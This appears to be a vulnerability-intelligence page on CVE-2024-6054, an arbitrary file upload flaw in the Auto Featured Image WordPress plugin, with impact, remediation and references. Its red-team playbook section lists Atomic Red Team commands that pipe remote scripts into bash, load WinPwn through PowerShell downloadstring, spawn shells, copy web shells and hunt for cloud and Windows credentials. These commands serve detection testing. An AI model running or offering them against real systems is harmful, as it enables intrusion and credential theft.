CVE-2024-6054
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient file type validation within the 'create_post_attachment_from_url' function of the Auto Featured Image WordPress plugin. The affected component is the file upload mechanism in versions up to and including 1.2, which fails to properly restrict the types of files that authenticated users can upload. This lack of validation allows malicious files to be stored on the server without proper filtering.
Vulnerability Description
The Auto Featured Image plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'create_post_attachment_from_url' function in all versions up to, and including, 1.2. This makes it possible for authenticated attackers, with contributor-level and above permissions, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with contributor-level or higher privileges can upload arbitrary files to the web server, potentially including malicious scripts. This can lead to remote code execution on the affected site, allowing the attacker to execute commands, escalate privileges, or compromise site integrity. The attack requires authentication (PR:L) but no user interaction beyond authenticated access. The vulnerability has a high impact on confidentiality, integrity, and availability as indicated by the CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
Solution
Users should upgrade the Auto Featured Image WordPress plugin to a version later than 1.2 where the vulnerability is addressed. Detailed patch information and remediation steps are available from Wordfence’s advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/4d1512c2-75c1-405b-8bb4-f42ec69159a7. The vendor’s source code repository confirms the fix in versions after 1.2, specifically by adding strict file type validation in the 'create_post_attachment_from_url' function. Site administrators should apply the update promptly to mitigate exploitation risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Auto Featured Image plugin for WordPress arises from inadequate file type validation within the 'create_post_attachment_from_url' function. This flaw allows authenticated users, specifically those with contributor-level permissions and above, to upload arbitrary files to the server. The absence of stringent checks on file types means that attackers can exploit this vulnerability to upload potentially malicious files, including executable scripts or web shells, which can lead to remote code execution. This lack of validation is particularly concerning as it opens the door for attackers to manipulate the server environment, potentially compromising the entire web application.
Exploitation of this vulnerability can occur through several attack vectors. An authenticated attacker could leverage their access to upload a malicious file disguised as a legitimate image or document. Once the file is uploaded, the attacker can execute it, gaining control over the server. This scenario could unfold in various ways, such as using the uploaded file to establish a backdoor for persistent access, exfiltrating sensitive data, or launching further attacks against other systems within the network. The ease of exploitation, combined with the relatively low barrier to entry for attackers with basic contributor-level access, significantly increases the risk associated with this vulnerability.
The real-world impact of this vulnerability is profound, particularly for businesses relying on WordPress for their online presence. An attacker successfully exploiting this flaw could lead to unauthorized access to sensitive information, defacement of the website, or even complete takeover of the server. The consequences can include financial losses, reputational damage, and legal ramifications, especially if customer data is compromised. Furthermore, the potential for lateral movement within a network could expose other connected systems, amplifying the overall risk. Organizations must recognize that the implications extend beyond the immediate threat; they could face long-term repercussions in terms of customer trust and regulatory compliance.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments are essential to identify and remediate weaknesses in plugins and themes. Additionally, employing a web application firewall (WAF) can help filter out malicious requests and prevent unauthorized file uploads. It is also crucial to keep all plugins, themes, and the WordPress core up to date, as updates often include security patches that address known vulnerabilities. Educating users about the importance of strong access controls and limiting permissions to only those necessary for their roles can further reduce the risk of exploitation.
In conclusion, the vulnerability in the Auto Featured Image plugin poses a significant threat to WordPress sites, particularly due to its potential for arbitrary file uploads and remote code execution. Organizations must take proactive measures to detect, mitigate, and respond to such vulnerabilities to safeguard their digital assets. By adopting a comprehensive security strategy that includes regular updates, user education, and robust monitoring, businesses can better protect themselves against the evolving landscape of cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Auto-Featured-Image Project | Auto-Featured-Image | All |
cpe:2.3:a:auto-featured-image_project:auto-featured-image:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-6054 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/4d1512c2-75c1-405b-8bb4-f42ec69159a7?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/auto-featured-image/tags/1.2/auto-featured-image.php#L167 |